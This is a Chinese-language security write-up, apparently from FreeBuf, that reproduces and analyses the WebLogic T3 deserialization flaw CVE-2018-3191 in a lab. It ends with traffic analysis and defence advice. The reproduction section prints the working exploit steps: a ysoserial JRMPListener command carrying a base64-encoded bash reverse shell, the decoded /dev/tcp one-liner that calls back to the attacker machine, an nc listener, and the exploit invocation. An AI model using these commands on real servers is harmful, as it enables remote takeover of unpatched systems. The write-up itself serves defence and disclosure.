當前位置:
首頁 > 新聞 > 從流量側淺談WebLogic遠程代碼執行漏洞(CVE-2018-3191)

從流量側淺談WebLogic遠程代碼執行漏洞(CVE-2018-3191)

一、前言


在不久前Oracle官方發布的10月重要補丁更新公告(Oracle Critical Patch Update Advisory - October 2018)中發布了五個基於T3協議的WebLogic遠程高危漏洞(CVE-2018-3191、CVE-2018-3197、CVE-2018-3201、CVE-2018-3245、CVE-2018-3252),CVSS 3.0 Base Score均為9.8分,版本涉及:10.3.6.0, 12.1.3.0, 12.2.1.3,本文將針對其中影響較大的CVE-2018-3191進行復現與分析,並在流量端進行追溯。



二、概要


Weblogic是目前全球市場上應用最廣泛的J2EE工具之一,被稱為業界最佳的應用程序伺服器,其用於構建J2EE

應用程序,支持新功能,可降低運營成本,提高性能,增強可擴展性並支持Oracle Applications產品組合。


官方文檔傳送門:


https://docs.oracle.com/middleware/12213/wls/INTRO/intro.htm#INTRO123。


關於T3協議:

說到T3協議就不得不提起JAVA遠程方法調用:

JAVA RMI(Java Remote Method Invocation)

,其主要用於實現遠程過程調用的Application編程介面。通過RMI可以使計算機上運行的程序調用遠程伺服器上的對象,其目的是使得遠程介面對象的使用儘可能簡化。該介面的實現方式之一即為:

JRMP(

Java遠程消息交換協議,

Java Remote Message Protocol

,也可以使用

CORBA

兼容的方法實現。詳細介紹請參考:

 

https://blog.csdn.net/cdl2008sky/article/details/6844719。


T3協議是用於Weblogic伺服器和其他Java Application之間傳輸信息的協議,是實現上述RMI遠程過程調用的專有協議,其允許客戶端進行JNDI調用。


當Weblogic發起一個T3協議連接的時候,Weblogic會連接每一個Java虛擬機並傳輸流量,由於通信過程得到了極大的簡化,所以使得其在操作系統資源利用上實現的高效以及最大化,同時提高了傳輸速度。

三、分析與復現


3.1 環境說明:


攻擊機:

192.168.137.135 (Linux  4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 x86_64 GNU/Linux)

靶機:

192.168.137.128 (Linux ubuntu 4.15.0-36-generic #39~16.04.1-Ubuntu SMP  x86_64 GNU/Linux)

3.2 Weblogic服務信息的快速檢測


首先,需要探測靶機Weblogic服務的相關信息,通過使用

Nmap

工具進行快速掃描,命令如下:

nmap -Pn -sV 192.168.137.128 -p7001 --script=weblogic-t3-infi.nse

如下圖標記所示,靶機的Weblogic開啟了T3協議,且屬於受CVE-2018-3191影響的版本範圍,因此,存在著漏洞風險。



3.3 建立接收被攻擊方Weblogic請求的JRMP Listener


在獲取靶機的Weblogic版本及T3協議的相關信息後,即可開始進行漏洞復現。這裡,我們需要使用到ysoserial工具,該工具可以針對不同的Weblogic產品給出漏洞利用腳本。


下載地址:

https://github.com/angelwhu/ysoserial。


ysoserial工具基本使用方法:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener  【port】 CommonsCollections1 "【commands】"

此處,我們在終端輸入命令:

java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2345 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMzUvNzg5MCAwPiYx|{base64,-d}|{bash,-i}"

目的是在本地建立一個JRMPListener

 

(批註:Java Remote Method Protocol,

Java遠程消息交換協議。

是特定於Java技術的、用於查找和引用遠程對象的協議。這是運行在RMI之下、TCP/IP之上的線路層協議)

,用於接收被攻擊方的Weblogic請求,並執行指定的bash反彈命令。


命令後半段的bash命令進行了base64轉碼解碼的操作,此舉是為了避免Runtime.getRuntime().exec() 執行過程中將特殊符號轉義,明文為:

bash -i >& /dev/tcp/192.168.138.135/7890 0>&1

下圖可以看到,我們成功打開了JRMP listener:



3.4 監聽7890埠

nc -lvvp 7890

此舉是為了等待靶機反彈bash連接。

3.5 執行Exploit

python exploit.py 192.168.137.128 7001 weblogic-spring-jndi.jar 192.168.137.135 2345

Weblogic發起遠程方法調用,即

rmi

服務



上圖可以看到,生成了攻擊載荷,且注入成功,此時nc監聽的埠會收到反彈的bash,獲得root許可權。


工具下載地址:


CVE-2018-3191 payload生成工具:



https://github.com/voidfyoo/CVE-2018-3191/releases


Weblogic T3協議發送工具:



https://github.com/Libraggbond/CVE-2018-3191


(註:工具安全性請自行查驗)


四、流量側捕獲與分析


如圖所示為此次在攻擊過程中在流量側抓取的數據包,其中No.16為帶有攻擊載荷的流量包:


經過對TCP流的追蹤,我們可以在此基礎上進行詳細分析。

4.1 通過T3協議進行通信



4.2 JtaTransactionManager類


由於此前Oracle官方沒有將

com.bea.core.repackaged

包中的

AbstractPlatformTransactionManager

類加入到黑名單中,因此導致了Spring JNDI注入的發生。通過我們對CVE-2018-3191 POC的分析,在此類中,其主要是使用了

JtaTransactionManager

這個類進行Spring JNDI注入,這點我們也可以在流量端有所發現:



4.3 攻擊payload



4.4 基於T3專有協議的Java.rmi遠程方法調用


綜上,通過上述關鍵特徵,我們可以很快提取出waf相關防禦規則。


五、防禦建議


根據本文上述分析,安全工作人員可很快提取相關防禦規則升級至WAF系統,由於攻擊者是通過T3協議來完成攻擊,所以在T3協議訪問控制上應該嚴加管控,ORACLE在本次10月重要披露中除CVE-2018-3252外均可通過

T3協議訪問控制策略

來進行臨時防禦。通過Weblogic中

base_domain的設置頁面的"安全"->"篩選器"來進行配置和防禦

,具體方法不再贅述,請參考網路資料。


由於本次公開的漏洞涉及到了幾個較大的版本號,所以影響還是非常大的,建議受漏洞影響的用戶儘快升級或更新補丁來進行防護。鑒於Weblogic在防禦反序列化漏洞上通常採用黑名單的方式,黑名單在攻擊防禦側存在嚴重弊端,所以在升級版本或更新補丁的同時

建議將JDK版本升級至最新版本


官方修復鏈接與說明:

https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html


*

本文作者:安天 Web安全團隊,轉載請註明來自FreeBuf.COM


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

XPwn 2018探索未來安全盛會,萬物互聯時代可以玩出哪些花活?
看我如何發現Facebook安卓APP的$8500美金Webview漏洞

TAG:FreeBuf |